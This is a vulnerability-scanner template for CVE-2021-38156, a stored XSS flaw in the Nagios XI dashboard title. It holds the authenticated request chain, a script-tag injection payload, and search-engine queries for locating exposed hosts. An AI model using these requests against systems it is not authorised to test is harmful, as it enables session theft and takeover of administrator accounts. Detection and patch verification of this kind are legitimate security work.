Nagios XI < 5.8.6 - Cross-Site Scripting

id: CVE-2021-38156

info:
  name: Nagios XI < 5.8.6 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    In Nagios XI before 5.8.6, XSS exists in the dashboard page (/dashboards/#) when administrative users attempt to edit a dashboard.
  impact: |
    Authenticated attackers can inject malicious JavaScript via XSS in the dashboard title field, potentially stealing administrator session cookies or performing administrative actions.
  remediation: |
    Upgrade to Nagios XI version 5.8.6 or later.
  reference:
    - https://raxis.com/blog/cve-2021-38156/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-38156
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2021-38156
    cwe-id: CWE-79
    epss-score: 0.92909
    epss-percentile: 0.99833
    cpe: cpe:2.3:a:nagios:nagios_xi:*:*:*:*:*:*:*:*
  metadata:
    max-request: 5
    verified: true
    vendor: nagios
    product: nagios_xi
    shodan-query: http.title:"nagios xi"
    fofa-query: app="nagios-xi"
    google-query: intitle:"nagios xi"
  tags: cve,cve2021,nagios,nagiosxi,xss,authenticated,vuln

http:
  - raw:
      - |
        GET /nagiosxi/login.php HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /nagiosxi/login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        nsp={{nsp}}&pageopt=login&username={{username}}&password={{password}}

      - |
        GET /nagiosxi/index.php HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /nagiosxi/ajaxhelper.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        cmd=updatedashboard&id=home&opts=&title="><script>alert(document.domain)</script>&background=&transparent=0&submitButton=Submit&nsp={{nsp_auth}}

      - |
        GET /nagiosxi/dashboards/manage.php HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2
    matchers-condition: and
    matchers:
      - type: word
        part: body_5
        words:
          - 'data-title=""><script>alert(document.domain)</script>'

      - type: word
        part: header_5
        words:
          - text/html

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: nsp
        part: body
        group: 1
        regex:
          - "name=['\"]nsp['\"] value=['\"](.*)['\"]>"
        internal: true

      - type: regex
        name: nsp_auth
        part: body
        group: 1
        regex:
          - "var nsp_str = ['\"](.*)['\"];"
        internal: true